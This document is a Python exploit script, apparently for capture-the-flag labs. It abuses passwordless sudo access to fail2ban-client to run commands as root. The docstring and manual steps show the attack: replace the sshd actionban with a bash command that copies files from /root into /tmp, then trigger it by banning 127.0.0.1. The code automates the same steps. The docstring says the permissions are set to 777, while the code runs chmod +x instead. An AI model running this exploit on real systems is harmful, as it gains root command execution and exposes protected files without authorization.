#Author: Raed Ahsan #Date: 24/03/2025 #Fail2Ban-client privilege-escalation """ Fail2Ban Automated Exploit Script - CVE Candidate ================================================== Description: This script automates an exploit for a misconfiguration or vulnerability in Fail2Ban, allowing an attacker to execute unauthorized commands via the fail2ban-client command. It specifically demonstrates how to read the contents of /root/root.txt and move it to /tmp/root.txt with world-readable permissions. This script first checks if the current user can execute `fail2ban-client` with sudo privileges without requiring a password. If the check passes, it proceeds with the following automated steps: ### Step-by-Step Process: 1. Check sudo permissions: Ensures the user has the ability to run `fail2ban-client` as root. 2. Restart Fail2Ban: Executes `sudo /usr/bin/fail2ban-client restart` to refresh the service. 3. Inject Malicious Action: Uses `fail2ban-client set` to replace an existing action with a command that copies `/root/root.txt` to `/tmp/root.txt` and sets its permissions to 777. - Command used: ``` sudo /usr/bin/fail2ban-client set sshd action iptables-multiport actionban "/bin/bash -c 'cat /root/root.txt > /tmp/root.txt && chmod 777 /tmp/root.txt'" ``` 4. Ban Localhost (127.0.0.1): Triggers the malicious action by banning an IP, effectively executing the injected command. - Command used: ``` sudo /usr/bin/fail2ban-client set sshd banip 127.0.0.1 ``` 5. Verify File Extraction: Checks if `/tmp/root.txt` exists and displays its contents. ### Manual Execution Instructions (If the Script Fails) If the script does not work as expected, especially if `/root/root.txt` is not readable in `/tmp/root.txt`, try executing the commands manually in the terminal: ```bash sudo /usr/bin/fail2ban-client restart sudo /usr/bin/fail2ban-client set sshd action iptables-multiport actionban "/bin/bash -c 'cat /root/root.txt > /tmp/root.txt && chmod 777 /tmp/root.txt'" sudo /usr/bin/fail2ban-client set sshd banip 127.0.0.1 """ import os import subprocess import sys def is_sudo_accessible(): """Check if the user can run fail2ban-client with sudo.""" try: # Check if the user can run 'fail2ban-client' with sudo without a password prompt result = subprocess.run(['sudo', '-n', 'fail2ban-client', 'status'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) if result.returncode == 0: return True else: print("You do not have the necessary permissions to run fail2ban-client with sudo.") return False except FileNotFoundError: print("fail2ban-client is not installed on this system.") return False def run_command(command): """Run a shell command.""" try: result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) if result.returncode != 0: print(f"Error running command: {command}") print(result.stderr.decode()) else: print(result.stdout.decode()) except Exception as e: print(f"An error occurred while running command: {command}\n{str(e)}") def main(): # Check if running in a Linux environment if not os.name == 'posix': print("This script is designed to run on a Linux machine.") sys.exit(1) # Check if the user can use sudo with fail2ban-client if not is_sudo_accessible(): sys.exit(1) # Get the user input for the flag file flag_filename = input("Enter the flag file name (e.g., flag.txt): ").strip() # Set the full path for the flag file flag_file_path = f"/root/{flag_filename}" # Step 1: Restart fail2ban print("Restarting fail2ban...") run_command("sudo /usr/bin/fail2ban-client restart") # Step 2: Execute the command to write the flag content to /tmp print(f"Setting action for SSHD and writing flag file to /tmp/{flag_filename}...") command = f"sudo /usr/bin/fail2ban-client set sshd action iptables-multiport actionban \"/bin/bash -c 'cat /root/{flag_filename} > /tmp/{flag_filename} && chmod +x /tmp/{flag_filename}'\"" run_command(command) # Step 3: Ban the IP (127.0.0.1) using fail2ban print("Banning IP 127.0.0.1...") run_command("sudo /usr/bin/fail2ban-client set sshd banip 127.0.0.1") # Final message print(f"The flag is now located in the /tmp directory as {flag_filename}") if __name__ == "__main__": main()